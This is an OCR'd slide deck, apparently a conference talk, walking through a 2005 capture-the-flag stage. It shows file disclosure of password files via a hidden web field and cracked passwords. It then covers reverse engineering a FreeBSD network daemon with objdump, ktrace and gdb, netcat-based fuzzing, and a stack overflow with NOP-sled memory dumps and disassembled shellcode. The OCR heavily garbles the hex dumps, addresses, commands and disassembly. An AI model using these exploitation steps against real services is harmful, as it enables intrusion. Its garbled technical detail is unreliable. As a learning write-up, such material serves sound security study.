the making of atlas

Kiddie to Hacker in 5 Sleepless
Nights



0x000 - Statement of Humility

* | admit that | am not that great.

* | was given a functional mind and a bit of
curiosity, for which | am thankful.

* | have not done anything you could not also do.

* | simply have done some enjoyable things.

* That abilities | do have have been given me, for
which | am thankful.



Ox100 - Intro to me
atlas@r4780y.com

http://atlas.r4780y.com/

* Programming since | was 8 (if you call BASICA
programming ;)

* BACS, Network Engineering, Consulting,
Teaching

* Telecom/Security work... intro to "Hacking
Exposed"”

* SANS Track 4 with the Mighty Ed Skoudis!
* CTF meant something completely different



0x200 - Setting of June 3rd, 2005

* New Baby
* Forgot CTF Quals — DOH!

* Friends visiting from out of state: Limited to
hacking from midnight until morning

* Nobody showed up for the team effort




0x300 - Briefly Stage 1 and Stage 2

* Scanning the box: 22, 80, and 6969 (the
"Protocol Failure” daemon)

* Web app with hidden field which could be
leveraged to display *any” file on the system
* including /etc/passwd and /etc/master.passwd

* Cracking simple passwords with John the
Ripper... but did not gain me a login to the box.

* root:fred
* breakme:apple1

* Warning: Screen Gone Wild!



0x400 - Oh Sh17.

» "Protocol Failure" and Sex Port 6969 (qreetz i0hnny!)

& shell | @ shellN.. | @ ShellN.. | @shellN.. | @ shellN... | @ shellN...

atlas@arwen: /home/atlas/CTF-KenShoto/stage3 § file binary

binary: ELF 32-bit LSE executable, Intel 80385, version 1 (FreeBSD), for FreeBSD 5.4, dynam
not stripped

atlas@arwen: /home/atlas/CTF-KenShoto/stage3 § |}

Co|| 8 sheliNo. 2 | i shell | ashell No. 3

AUTH
ll Protocol Failure

|i:|n=|!:_‘f1 re

Authentluatlnn Failure
Failed Dropping Privs

bacon: %s

6665 You Totally Suck Turnips
$FreeBSD: src/libfcsu/1386-elf/crtn. 5, v 1.5 2002/05/15 04:19: 49 obrien Exp $
atlas@arwen: fhomesatlas/ CTF- }enghntn.;tagea % I

strings

le10e=\8 |-~ | & Shell No. 2 | gmShell | @ Shell No. 3

atLlas@arwen: fhomesatlas/CTF-KenShoto/stage3 $§ nc -v 192, 168. 255. 128 69639
192 1688. 255.128: inverse host lookup failed: Unknown host
(UNENOWN) [192.168. 255.128] 69262 (7) open

(flashback)

ll Protocol Failureatlas@arwen: /home/atlas/CTF-KenShotosstages § I




0x500 - Stage 3

*Mental Surrender
*Fear, Uncertainty and Doubt

*\Which were somewhat founded because | knew
nothing...



0x600 - A New Hope...

* "Hacking: The Art of Exploitation”

- Hacking with Perl and Bash... Novel concept
* ExploitX paper
* http://www.exploitx.com/forum/azbb.php?1112286936
* Simple, driven determination
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Ox/700 - The TOO1z

* Objdump

* ReadElf

« GDB

* Ktrace/KDump
 and now, disass



Ox710 — objdump

m at|as@arwen: fﬁumefaﬂas - Sﬁe" MNo. 4 - l(unsu|e ﬁﬁ ﬁ

Edit ‘View Bookmarks Settings Help

@ shel | @shellN.. | @Shelln.. | @ ShellN.. | @ ShellN.. | ashellN..

atlas@arwen: /home/atlas $ objdump
Usage: objdump =option(s)= <fileis)=
Display information from object <file(s)=.
At least one of the following switches must be given:
-a, --archive-headers Display archive header information
-f. --file-headers Display the contents of the overall file header
-p. --private-headers Display object format specific file header contents
-h, --[section-]headers Display the contents of the section headers
-¥x, --all-headers Display the contents of all headers
-d, --disassemble Display assembler contents of executable sections
-0, --disassemble-all Display assembler contents of all sections
-5, --source Intermix source code with disassembly
-5, --full-contents Display the full contents of all sections requested
-, --debugging Display debug information in object file
-e, --debugging-tags Display debug information using ctags style
-G, --stabs Display (in raw form) any STABS info in the file
-W, --dwarf Display DWARF info in the file
-1, --syms Display the contents of the symbol table(s)
-T. --dynamilc-syms Display the contents of the dynamic symbol table
-r, --reloc Display the relocation entries in the file
-R, --dynamic-reloc Display the dynamic relocation entries in the file
@efile= Read options from =file=
-V, --version Display this program's versilon number
-1, --info List object formats and architectures supported
-H, --help Display this information
atlas@arwen: /homesatlas §




0x711 — objdump -d (disassembling)

'ﬂ at|as@arwen: /home/atlas - Shell No. 4 - Konsole ﬁﬁ.

Session Edit View Bookmarks Settings Help

ALl @ Shell | @ shellN.. | @@ ShellN... | @ ShellN... | @ shellN.. | @@ shellN...

/bin/bash: file format elf32-1386

Disassembly of section .1nit;:

0BOSb288 < init>:

805hz288: 92 push  %ebp
805h289: 89 e5 maoy %Besp, Bebp

805b28b . 83 ec 08 sub $0x8, %esp

805b28e e8 71 Gb 00 00 call  805Sbe04 < start+0x24-

805h293; e8 c3 0b 00 00 call  805SbeSh = start+0x7b=

805h298: eg8 07 49 07 00 call 80cfbad = libc csu fini+0Gxdb=
805b29d : c9 leave

805h29e . c3 ret

Disassembly of section .plt:

0805b2a0 = mbrlen@plt-0xlE=;

805hz2al: ff 35 d& 54 0e 08 pushl 0x80e54d8
805h2ak: ff 25 dc 54 De 08 jmp ¥y B0eSddc
805b2Zac: 0o 0o add %al, (%seax)

0BGSh2b0 <_ mbrlengplt=:
805b2b0: ff 25 e0 54 Ge 08 jmp 0y B0e54e0
805h2ba: a8 00 00 Q0 a0 push $0x0




B0X720 — ReadELF

atlas@arwen: /home/atlas $ readelf

Usage: readelf <option(s)= elf-file(s)

Display information about the contents of ELF format files
Options are;

-a --all Equivalent to: -h -1 -5 -5 -r -d -V -A -I
-h --file-header Display the ELF file header
-1 --program-headers  Display the program headers
--seqments tn alias for --program-headers
-5 --section-headers Display the sections' header
--sections An alias for --section-headers
- --sectlon-groups Display the section groups
-1 --section-details Display the section details
-g --headers Equivalent to: -h -1 -5
-5 --Syms Display the symbol table
--symbols tn alias for --syms
-n --notes Display the core notes (1f present)
-r --relocs Display the relocations (1f present)
-U - -unwind Display the unwind info (1f present)
-d --dynamic Display the dynamic section (1f present)
-V --version-info Display the version sections (if present)
-& --arch-specific Display architecture specific information (1f any).
-0 --use-dynamic Use the dynamic section info when displaying symbols

-% --hex-dump=<number= Dump the contents of section <number:

-w[liaprmfFsoR] or

- -debug-dump[=1l1ine,=1nfo,=abbrev, =pubnames, =aranges, =macro, =frames, =str.=1oc, =Ranges]
Display the contents of DWARFZ debug sections

-I --histogram Display histogram of bucket list lengths
-W - -wide Allow output width to exceed 80 characters
@=file= Read options from =file=

-H --help Display this information

=W --wersion Display the wersion number of readelf

Report bugs to <URL:http://www.sourceware.org/bugzilla/=



Ox730 — ktrace/kdump

= atlas@arwen: /home/atlas - Shell No. 4 - Konsole

Session Edit Wiew Bookmarks Settings Help

A= @ Shell | @ sShellMNo. 3 | @@ ShellNo, 2 | & ShellNo. 4 | gm|ShellNo. 5 | @|Shell No. &

oot@vmbsd# ktrace -dip “ps ax |grep stage3 |grep -v grep |cut -c-6
t@avmbsde kdump

3 stage3 RET  select O

643 stage3 CALL select(0x5,@xbfbfeben,d, 0, Gxbfbhfebds)
643 stage3 RET select O

543 staged CALL select(OxS,0Oxbfbfebed,d, 0, Oxbfbfebds)
543 stage3 RET select O

543 staged CALL select(OxS,0Qxbfbfebed,d,0,0xbfbfebds)
543 stage3 RET select O

543 staged CALL select(0x5,0xbfbfebed,d,0,0xbfbfebds)
643 stage3 RET select O

G643 stage3 CALL select(Ox5,Oxbfbfebed,n, 0, 0xbfbfebds)
643 stage3 RET  select O

643 stage3 CALL select(Ox5,Qxbfbfeben,d, 0, Oxbfbfebds)
643 stage3 RET  select 1

543 stage3 CALL accept(Ox4,@xbfbfebcd, Bxbfbfecss)

643 stagel’ RET accept S

RET :farki@
e CALL close(Ox5)
643 stage3 RET close O
stage3 CALL close(Oxd)
stage3 RET close O
3 stage3 CALL select(0x5,0xbfbfebed,d, @, 0xbfhfebds)
stage3 CALL read(0xS,0xB04a200, Bx7ff)
543 stage3 RET  select O
543 stage3 CALL select(Ox5, Oxbfbfebed,d, 0, Oxbfhfebds)
543 stage3 RET  select O
543 stage3 CALL select(OxS5,Oxbfbfebed,d, 0, 0xbfhfebds)
643 stage3 RET select O
643 stage3 CALL select(0x5S,0Oxbfbfebed,d,0,0xbfhfebds)
stage3 GI0O fd 5 read 39 bytes
"bacon:myname:mypassword: somethingelseir
1394 stage3 RET  read 39/0x27
1394 stage3 CALL write(Ox5,0Oxbfbfe2fd,Oxb}
1394 stage3 GIO fd 5 wrote 11 bytes
"Tag Failure"
1394 stage3 PRET write 11/0xb
1394 stagez CALL close(Bx5)
1394 stage3 RET close @
1394 stage3 CALL write(Ox3, 0x804ci00, 0xd)
1394 stage3 GI0O fd 3 wrote 4 bytes
"643




0x800 - Tracing through Stage3

e BSD on Vmware
* ./stage3 6969 (formerly “binary”)
* Ktrace for kernel call tracing

» ktrace -dip ps ax |grep stage3 |grep -v grep |cut -c-6

* nc -v localhost 6969
("bacon:myname:mypassword:somethingelse\r”)

* kdump
* gdb
* gdb ./stage3 ps ax |grep stage3 |grep -v grep |cut -c-6°



0x900 - Analyzing Ktrace output

- 'cuz | was still too lame to get over my fear of the raw ASM

543 stage3 CALL accept(0x4, Oxbfbfebco, oxbfbfecss)
645 STHOES " REF SREEREreS
643 stage3 CALL fork
543 stage3  RET = fork 1394/0x572
1394 stage3 BRET fork ©
543 stage3 CALL close(Qx5)
643 stage3 BRET close @
1394 stage3 CALL close(Ox4)
1394 stage3 BRET close @
643 stage3 CALL select(0x5,0xbfbfebed, 0,0, Oxbfhfebds])
1394 CALL read(0x5,0xB04a200, 0x71f)
643 RET select ©
543 CALL select(0x5,0xbfbfebe0, 0,0, Dxbfhfebds)
643 e3 RET- select @
543 stage3 CALL select(0x5,0xbfbfeben, 0,0, 0xbfbfebds)
643 stage3 RET select O
643 stage3 CALL select(0x5,0xbfbfeben, 0,0, Oxbfbfebd)
1394 stage3 GIO fd S read 39 bytes
"bacon:myname:mypassword:somethingelse’r
1394 stage3 RET  read 39/0x27
1394 stage3 CALL write(Oux5,0xbfbfe2f0, Oxb)
1394 stage3 GIO fd 5 wrote 11 bytes
"Tag Failure"
1394 stage3 RET  write 11/0xb
1394 stage3 (CALL close(Bx5)
1394 stage3 RET close O
1394 stage3 CALL write(Ox3, 0xB04c000, Oxd)
1394 stage3 GIO fd 3 wrote 4 bytes

"643

1394 RET write 4

1394 CALL  exit(Oxffffffffl

543 RET  select -1 errnoc 4 Interrupted system call

643 PSIG SIGCHLD caught handler=0x8048eb4 mask=0x0 code=0x0
G643 CALL  wailtd4(Ouffffffff, Oxbfbfesso, oxl,0)

G432 RET waltd4 1394/0x372

543 CALL  waitd4(Oxffffffff, Oxbfbfess0, 0x1,0)

643 RET  waitd -1 errno 10 Mo child processes
643 CALL sigreturn(OxbfhfeB80)

543 stage3 RET  sigreturn JUSTRETURN

643 stage3 CALL select(0x5,0xbfbfebed, 0,0, 0xbfhfebda)
543 stage3 RET select O

643 stage3 CALL select(0x5,0xbfbfebed, 0,0, Oxbfbhfebdd)
543 stage3 RET select O




0xa00 - DO00d, where's my shell?

— turns into...

* Loitering and Meandering around memory
space (one of GDB's deficiencies)

* Something | hadn't a clue about:

- Memory space is clearly defined in the ELF binary...
- DOH!

- I'm a Retard. | was x/32wx-ing all over cyber-hell
trying to learn where stuff was. Stupid!



Oxb00 - objdump -X demystified

(oh if only | knew then...

* File Header: ELF
* Program Headers
* Dynamic “Stuff”

* Sections



Oxb01 - odeump -X demystified

* (oh if only | knew then...

- atlas@arwen: fhome/atlas/CTF-KenShoto/stage3.
Session Edit View Bookmarks Settings  Help

co|[ @mshel | @jshellNo. 2 | @ shellNo. 3 | @ ShellNo. 4 | sShell No. 5

atlas@arwen: /home/atlas/CTF-KenShoto/stage3 § objdump -x stage3

stage3: file format elf32-1386
stages

architecture: 1385, flags GOx00000112:
EXEC P, HAS SYMS, O PAGED

start address Ox0S048d48




Oxb01 - objdump -x demystified

* (ohif only | knew then...)

Program Header:
PHOR off
filesz

off
filesz
off
filesz
off
filesz
off
filesz
off
filesz

INTERF

LOAD

LOAD

DY MNAMIC

NOTE

Cx 00000034
Cx000000c
OxGO0000T4
Cx 00000015
Epqelelelelelelele
COxO0001c24
CxRE002000
CxD00001a4
Cx 00002010
0x000000LE
EpqeleleleleNels
CxDO00001LE

vaddr
memsz
vaddr
memsz
vaddr
memsz
vaddr
memsz
vaddr
memsz
vaddr
memsz

Cx 8045034
Cx000000ch
Ox 08048014
Cx 00000015
Cx 0048000
CxO0001cB4
CxD8043000
CxO0000314
Cx0804a010
Ox000000LE
Cx 020481 0c
CxRE000018

paddr
flags
paddr
flags
paddr
EGE
paddr
flags
paddr
flags
paddr
ELE

Cx 8048034
r-X
OxG80480T 4
I""__
Cx 08048000
r-x
CxR8043000
r"'|||||'_
Cx0804a010
Mw -
CxB2048]10c
r"__

align
align
align
align
align

align

2H*Q

2XE[]

2ENTZ



Oxb02 - objdump -X demystified

* (oh if only | knew then...

Dynamic Section:
NEEDED libcrypt.so. 2
NEEDED libc.so0.5
INIT X8045a3C
FINI X8049304
HAS X8048124
STRTAB ¥ 8048698
SYMTAB x80482b8
STRSZ X219
SYMENT %10
DEBLIG X0
PLTGOT x804a0dc
PLTRELSZ X178
PLTREL x11
JMPREL «80488c4
REL xB80488b4
RELSZ Xx10
RELENT X8




Sectlons:
Idx Mame

0 .interp

1 .note. ABI-tag

2 .hash

3 .dynsym
4 .dynstr
5 .rel.dyn

6 .rel.plt

2 ARt
8 .plt
9 ftext

10 .fin

11 .rodata

12 .data

13 .eh_frame
14 .dynamic
15 .ciars

16 .dtors

- JEF
18 .got

19 .bss

20 .comment

Size
EOE00a15
COMNTEMNTS,
QE0E0E1LE
CONTENTS,
EOG00194
CONTENTS,
EOE003e0
CONTENTS,
EoE00219
COMNTENTS,
QEOEOE10
CONTENTS,
EOG0Q1L7E
CONTENTS,
eleTeTeTelelel
CONTENTS,
EOEA0300
COMNTEMNTS,
0E000che
CONTENTS,
EOE0AE0E
CONTENTS,
EOQE0027E
CONTENTS,
QE0E0G0
COMNTENTS,
EE0G0E04
CONTENTS,
0e0000LE
CONTENTS,
EOE00008
CONTENTS,
QE0E0E0E
CONTENTS,
EOGEAE04
CONTENTS,
EOE000CE
CONTENTS,
E0E00854
ALLOC
0oEeE12d

ralal A Tns =

VMA LMA

File off
G20420fT4 GE0420F4  QOOO0GGT4A
ALLOC, LOAD, READONLY, DATA

080481 0c OQB04810c 0Q0OGE010cC
ALLOC, LOAD, READOMLY, DATA

a048124 08048124 00Q00124
ALLOC, LOAD, READOMLY, DATA

080482b8 080482b8 00OOO2bLE
ALLOC, LOAD, READOMLY, DATA

p2048698 020480598 0QO0L0GSE
ALLOC, LOAD, READOMLY, DATA

0en48s8h4 080488b4 0QOOOGERHA
ALLOC, LOAD, READOMLY, DATA

pE0483cd 0S0488cd 00QQGESCA
ALLOC, LOAD, READOMLY, DATA

08048a3c 08048a3c 000003 3cC
ALLOC, LOAD, READOMLY, CODE

028048ad428 08048ad28 0000043
ALLOC, LOAD, READOMLY, CODE

08048d48 08048d48 Q000048
ALLOC, LOAD, READOMLY, CODE

020459304 080459304 00001ac4d
ALLOC, LOAD, READOMLY, CODE

080459a30c 080459z30c 00A01adc
ALLOC, LOAD, READOMLY, DATA

02043000 Q02043000 00002000
ALLOC, LOAD, DATA

0204ad0c  0B04a00c 0000200
ALLOC, LOAD, READOMLY, DATA

gE0dafla 08043010 00002010
ALLOC, LOAD, DATA

0204adce 0804a0cgd 0Q00020ca
ALLOC, LOAD, DATA

08043040 08045040 Q0002040
ALLOC, LOAD, DATA

0804a0d8 0B0430d8  00E020d8
aLLOC, LOAD, DATA

02804aldc 0GB04abdc
ALLOC, LOAD, DATA

g2804alcd 0804alcd 0QO0Z1co

0REO20dc

0O000000  0ODOOOOO  0000Z21ch

I Y nTal 1 BRTS

Algn
FLblt

%%
2¥*2
k%3
2HEl
A
o
2¥%2
k%2
2%%2
P
?
2¥*2
2%%2
2¥*2
2¥%2
2XxQ
P il
2¥%2
F ok

P ©




 SYMBOL TABLE:

08048014 1 d .interp 0OEOEROE . 1nterp
f804810c 1 d .note.ABI-tag OGO0GO0C0 .note.ABI-tag
pER48124 1 d .hash 00QRE000 .hash
(080482b8 1 d .dynsym QOOOEOO0 . dynsym
08048698 1 d .dynstr 0OEOEEEE .dynstr
(80488b4 1 d .rel.dyn 0EEOEEOE . rel.dyn
1 d .rel.plt 0EEOEEOE . rel.plt
1 d .init 0OO0COOGR .1nit
1 d .plt 00GOOOGE .plt ‘;g it “wwwﬁmg
1 d .text 0OGOO00O .text il \\\ H\\\
1 d .fini o0oGOEEE0 .fini L “‘”gﬂ
1 d .rodata QEEERRGE | rodata
1 d .data 0OOC00O0 .data
0804a00c 1 d .eh_frame 0OO0E00E .eh frame
0804a010 1 d .dynamic 0OEOEEOE .dynamic
Q804a0c8 1 d .ctors DRROOOOO . ctors . : — -
0804a0d0 1 d .dtors 0O0GEO0O .dtors Eleelgeieiele F *UND* 00000000 memset
nendands 1 d .jCP AnRNA000 .jCP pE0498hc g F .text O0R0OOTS main
| pEedande 1 d .got 0ORODEOO | got 08049330 g F .text O0QR00026 cleanup
1 d . bss 00000000 . hss PEOGEORGG F *UND* 0Q000G00S 1nit tls
¥ i comment QEOAAO0E . comment REORRR00 F *LnD* AOR02000 EETEUld
1 d *ABS* 00000000 | shstrtab pE0daais g 0 .bss EOOG0004 numblock
1 d * ARG AORO0000 .Eymtah RRORAR00 F *LMD* ARO02000 Strcmp
1 d  *ABS* Q0000000 .strtab BEAGO0ARE F *LUND¥ 20000027 getpwnam
00000000 1 df *ABS* 00000000 cril.c 08049204 g F .fini 0000GEE0 _fini
0804810¢c 1 0 .note.ABI-tag 0OO0OOLS abitag 0E0D0OCO F *UND¥  D0B000Zc atex1t
00000000 1 df *ABS* 00000000 fusr/src/lib/csu/if@0C00000 F *UND* 00000055 strsep
00000000 1 df *ABS* 00000000 <command lines 000CO000 F *UND* 00000000 setresgid
EO0000e0 1 df *ABS* 00000000 <built-ins D804alad g *ABS* 0DODODOD _edata
00000000 1 df *ABS* 00000000 fusr/src/lib/csu/if980497c4 g F .text 0O0GDOGTE chldrgst
AnAOO000 1 df * ARG AOAOR000 crtstuff C GEGdEBdC g 0 *ABS* QOR02000 _GLDEAL_GFFSET_TAELE_
0804a0c8 1 0 .ctors 00000000 _CTOR LIST_ 0804aald g *ABS*  0OGOD00O _end
— = elelelelelelele! F *UND¥  QOOQ0043 ex1t
QEOGEARCG F EUND*  DORDOODOZT getgrnam
EE0ORA00 F *UND* 00000056 fileno
0804aa0c g 0 .bss 00002004 children
elelelelelelele! F *UND* 00000123 daemon




Oxc00 - Waste of Time?

*Not to say my wanderings didn't pay off...

*[_earning immense amounts...

* GDB
* Memory layout
* Particulars (like what “leave” and “ret” really do)



0xd00 - Favorite GDB helpers

GDB's main commands for poking around:

P

X
break
continue
ni/si
display
info reg
info frame
bt

help

(or p/x for printing Hex versions) - Print an expression.

(or x/32wx for printing 32 Hex words) - Show memory *at* a location
Set a breakpoint (must include a * to start raw memory addresses)
Start execution again after a break point

Execute the next instruction. One skips calls, the other digs deep
Like x, but will reprint the output prior to each prompt

Information about all registers

Information about the current Stack frame (ebp - esp)

Print's a BackTrace (list of Stack Frames from start of app)

Prints the many maze-like



Oxd01 - Favorite GDB Helpers (2)

Breakpoints for each "call":
break *Ox<address of call 1>
break *Ox<address of call 2>

efc..

DISPLAY SETTINGS/Basic
display/i $pc
display/x $edx
display/x $ecx
display/x $ebx
display/x $eax
display/32wx $ebp-92
display/32xw $esp



Oxe00 - Pseudo-fuzzing

* What I did, | cringe to call fuzzing

— Perl from the command-line piped to netcat

— Metasploit exploit code
* Isn't sharing nice?



Oxf00 - Why you should run a
sniffer while writing network sploitz

i
. T

ne sploit wasn't even hitting the wire...

* @#%% buffered 10!
* Two lines needed a delay between them.

- Impossible if you're not pushing the first line to

begin with!

= Still difficult using 'perl -e “...” | nc thost 6969’
* Rewrote client/fuzzer to do network stuff in perl



45 f@a 18 60 00 08 .

20492F4; 23 ac Oc
BO4D2FT:, FF 75 f4 .
a0492fa:, ed 5 04 00 08 L1 call SYM::['chldrgst' ] (brkpt: 41)

204974 -ch'ldrqst:
B6497cd ;. g . push
80497c5: 89 o5 mav %esp Eebn L it e s
B0497cT: - G4 @0 aa . sub

: ff ff lea

G0 Ga . mav .

36497d3:, : sub B BB i iiiie e i e s
20497dhb: ] . push
38497dc i push  $axi,

Subroutine: chldrgst, 70 Lines
Yariables:

4]

4]

g

4]
4ac)
cl
Starting address: 30497cd,

[
!
G 4]
!
g

Called By
. 1 30492fa-= B80497c4

20497F1:

20497F4:

204977 el G50 Fff . 11 1cates . call SfM:: [ authenticate’ ] (brkpt:
20497Fc: £ . add $ix 10, Sesp,

20497FF: 3 e . sub Hixd  Hesp,

2049802: . push  $8x3

82049804 30 G4 a8 . push $0x 1-!.5Icﬂa

2049209 3 . pushl

804980c: el 2 3 ff ff

8049311: 3 £ . add Hx10, Sesp,

2049814 £ . sub $ixd Hesp, .. .

BE49817: A ag opush  BETER Lo,

20498 1c: 2 a3 . push  $AxBE4a200 . H: : [ 1nput_buffer']
2049821:, Ff 75 . pushl

82049824, a8 3 3 ff ff . call  2048bb8 = . 551




0x1001 - Racking and Stacking:

add

mav
. sub
8 fh ff ff . lea
push
push - . . ‘bacon:%s’
push oo . i ‘input_buffer]
call &0 3 Fapl . cal 55}

add
lea
sub
push
call

Ell:ll:l :F}I £

maw Geax

ilocall,
2 fb ff Lz Bxfffff 3
fh ff f ] FEFf LT

=chldrgst+Oxdes jmp +0EEE0 (Locall,

fb ff ff 1a FEFfh ahp ) '666 You Totally Suck Turnips

1=

de fb fF fF pushl

ag pushl
2 ff ff call

~~~~~~~~~~~~~~~~~~~~~ SCANF (3] Linux Programmer's Manual

LRLLLLLLLLLELLLLELLLL

MNAME
18 add Bx scanf, fscanf. sscanf, vscanf. vsscanf, vfscanf - input format conversion
09 |0 oo may 2 I 1=
ORI - OFSIS
#include =stdio.h=
int scanficonst char *format, ...J:
int fscanf(FILE *stream, const char *format, ...J:

#include =stdarg.h=
int wscanficonst char *f
int wsscanf(const char *str, const char *format apl:

DESCRIFTION
The scanf() function reads input from

and sscanfi() reads

the standard input stream stdin, fscanf(
ts input from the character string pointed to by str.




0x1002 - Rackina and Stackin

14: x/32%w Besp

g.

Oxbfhfe?s0; Ox 02045200 Ox 020490 Oxbfhfe720 g eleleleleleleh
Oxbfhfe?70: 0x2800d8b4 Oxbfhfe?bd Ox2804ff23 Ox00000080
Oxbfbhfe7E0: Cx 20000000 Cx 20000000 CxE0000000 Cx 20000000
Oxbfhfe7o0: Cx 20000000 Cx 20000000 CxE0000000 Cx 20000000
Oxbfbhfe7al: Cx 20000000 Cx 20000000 CxE0000000 Cx 20000003
Oxbfhfe7bo: Cx 20000000 Cx 20000000 Cx 20000000 Cx 20000000
Oxbfbfe7cO: Cx 20000000 Cx 20000003 Cx 20000000 Cx 20000000
Oxbfhfe7dd: Cx 20005003 Cx 20200003 Cx 20200000 Cx 20200000
13: x/32xw $ebp - 92

Oxbfbfeb3c: Cx 20000000 Cx 0000000 Cx 20000000 Cx 0000000
Oxbfbfebdc: Cx 20000000 Cx 20000000 Cx 20000000 Cx 20000000
Oxbfhfebsc: Cx 20000000 Cx 20000000 Cx 20000000 Cx 00000000
Oxbfbfebsc: Cx 20000000 Cx 20000000 CxE0000000 Cx 20000000
Oxbfbfeb7c: Cx 20000000 Ox 280e 7995 Cx 20000004 Cx 20000002
OxbfhfebBc: O0060428 Bx00000005 Gxbfhfeben Oxbfhfecys
Oxbfhfebhoc: Ox 080492 f Ox 00000005 Oxbfbfebco Oxbfbfecss
Oxbfhfebac: Oxoea402e T Ox020424b8 Oxbfbfebfa Ox 00000000
12: /x %eax = Oxbfbfe780

11: 2 Seby = Daa

18y fx Seck = Cel
9: /% $edx = Ox478
8: x/1 $pc OxB8049843 <chldrgst+127=: call 0xB048cl8 =< init+476=

14: x?HExw fesp

Oxbfbhfe770:
. Oxbfhfe780;

| Oxbfbfe7on:
Oxbfbferal;
Oxbfbferbo;
Oxbfbfe7cO;
| Oxbfbfe7do:
Oxbfbfe7en:

13: x/32xw $ebp

Oxbfbfeb3c:
Oxbfbfebdc:
Oxbfbfeb5c:
Oxbfbfebsc:
Oxbfhfeb7c:
OxbfhfebBec:
Oxbfbfeboc:
Oxbfbfebac:

Ox28009d8h4
Q0909090
Cx Q0909090
Ox 20909020
Ox 90909020
Ox 90909080
O 80909050
Cx 80909090
- 82

O Q0909090
Q0909090
Oxbfhfe7an
Oxbfhfe7an

Oxbfhfe7an
IR AT al el s 170

Oxbfbfe780

EOA T L
' o v - |

Oxbfhfe7an
Cx Q0909090
Cx Q0909090
Ox 90909080
Ox 20909020
Ox 90909080
Cx 80909090
O 80909090

O Q0909090
Oxbfhfe7an
Oxbfhfe7an
Oxbfhfe7an
Oxbfhfe7an
Oxbfhfe7an
Ox 00000000
Ox02042408

Ox0EO00420
(x90909090
Ox9E909030
Ox80909090
Ox80909090
0x20909090
Ox20909080
Ox90909090

Cx Q0909090
Oxbfhfe7an
Oxbfhfe7an
Oxbfhfe7an
Oxbfhfe7a0
Oxbfhfe7an
OxbfbfebcO
Oxbfbfebfa

yqelelelelelelele]
(x90909090
(x9E909090
0x20909090
Ox80909090

0x90909090

Ox20909080
OxS90909090

O Q0909090
Oxbfhfe7an
Oxbfhfe7an
Oxbfhfe7an
Oxbfhfe7an
Oxbfhfe7an
Oxbfbfecss
Ox 00000030




Oxbfhfedea: nap

0x1003 - Racking and Stacking. .. .

ﬁ:d;‘.{i $pc Ox20492b8 =chldrgst+244=  leave gz:;t;:ggg ::Eﬁ
(gdb) ni 3
Iizﬂ&ﬂdi?bﬂ.;z chldrgst (1 E:E;E;:gg: ::Eﬁ
; nf32aw Fasp ;
Gxbfbfabdc: GxbfbfaTan GxEGEAGHAE Gxbfbfebed Gxbfbfecks | gz:;t;:ggg :3;1 xE1
Axbfhfebac: 3x000402af AxBE0424hs xbfhfehfd AxBBEAG000 ‘ T fxhfhfea7a: R
I Gxbfbfebbe: Gxbfhfebed Gxdddbe2 10 oxf1ffadcl BxOGAGEEAN i il “ Il AxbfhfenTa: cltd
(| Gxbfbfabee: GxAGEAGEHAG Gxbfbfad3n Gxbfbfecss GxAGEAGEHAES ‘ ‘ oxbfbfen7d: push  %edx
Gxbfbfabde: (e {ETE]eeIeTETe]e] e {ETE]elclcTERNc] e {ETE]eele el ] (e {ETE]EfeleTETEle] Axbfhfea75: push  $x391k0210
Gxbfbfabec: e qeleleleeTelele] feFdeleleleeTelele] e deleleleleTelele] feFdelelele[eTelele] Bxbfbfes7Ta; mo %esp, kecx
Gxbfbfabfe: e {ETE]eeleTETe]e] e {ETE]eeIeTETe]e] (e {ETE]EeIeTETE]e] e {ETE]eeIeTETE]e] Axbfhfea7c: push  %Hadx
?;bfhf:gﬂc: iy BIEEBBBBBG fedelelle[eTelele] feFqelelele[cTelele] e deleleleleTelele] Axhfhfea7d: inc Sadx
o nf 32w p - 92 Ta:
Gxbfbfa72d: feFdeleleleeTelele] e delelele[eTelele] fedeleleleeTelele] feqeleleleleTelele] gzt;t;ng; JF_I:'-:EI.I :z:j;
OxbfhfaT?ad: e {ETE]eeleTETele] (e {ETE]efeleTETe]e] e {ETE]eeleTETele] (e {ETE]EfeIeTETE]E] Gxbfhfe020a: push  %Hadx
GxbfhfaTdd: BxO0GAEEE1 BxO0GEE4TE AxbfbfaTsn GxQO0GAEEE2 Axhfhfes81:; push  $axld
Oxbfhfa?cd: Oxbfhfad3a Oxbfhfad3a OxA2a498ba (e {ETE]EfeIeTETE]E] Axbfhfe023: int i
GxbfbfaTed: GxbfbfaTan BxO0GEE420 BxQOAEEEE1 Gx2809d3be Axhfhfea85: cltd
Oxbfbfal7d: OxbfbhfaTen BxAGGEE420 e {ETE]eeIeTETE]e] Bx96909050 Oxbfhfea26: xchg  %eax,%abx
GxbfbfaTad: Bx20505693 Bx20505690 Bx0505690 Bx0505690 Gxbfbfe987; push  %ecx
Oxbfbfa?ad: Bx9E909050 Bx9E909050 Bx9E909050 Bx96909050 Axbfhfe028: push  %ahx
12: /x $eax = Oxl Axbfhfesgs: push  %eds
11: ix $ebx = Qx2 Oxbfhfeaga: push  $Ix6S
5: /s et = DREOASELT ofbfeod; i dnd
8 x-_‘i fpc Ox20493b9 ~chldrgst+245=:  ret gzbfbfg:F; ﬁ: Ezg:,%al
(gdb) =1 ) 5 Oxbfhf=a91: int HxEE
\ Iiil:-ﬂ:-f:zsﬂ ;2 7P Axbfhfesas: push  %eds
| 14: xf32xw Fesp g
| Bxbfbfeban: GxAGEAGEHAE Gxbfbfeben Gxbfbfachs GxAga492af gzt;t;:gg; E::j:: :::52
| Oxbfhfebbn: OxA2a424be Gxbfhfabfd GxAEREEAEE Oxbfhfabed oxbfhfenng: ma i le, %al
l Gxbfbfabea: Gx24dba21a Gxi1ffalch e deleleTeleTelele] fedeleleleleTelele] Axhfhfes9g:; int FIxgn
Gxbfbfabda: Oxbfhfad3a Oxbfbfacts e {ETE]elele el el e {ETE]eeleTETE]e] Gxbfhfe99a: xchg  %eax, %adi
\ | Bxbfbfeben: BxOOGEE6 13 e qeleleleeTe el e qeleleleleTelele] fedeleleTeleTelele] Gxbfbfessb:; push  $0x2
Oxbfbfabfa: [ER{ETE]eeleTETe]e] e {ETE]eeleTElEl] [ER{ETE]EeIeTETE]E] (ER{ETE]EeIETETE]E] Gxbfhfea94d: pop %ecy
Gxbfhfacoa: feFqeleleleleTele e e qeleleTeleTelele] e qelelele[eTelele] feFdeleleleeTelele] Axhfhfes9e; push  $x5a
?:hfbf:g 1a: o BISEBBBBBB (e {ETE]eeIeTETE]E] e {ETE]EeleTETE]e] e {ETE]eeIeTETel] Oxbfhfega0: pop %eax
Donf 32w p - 32 :
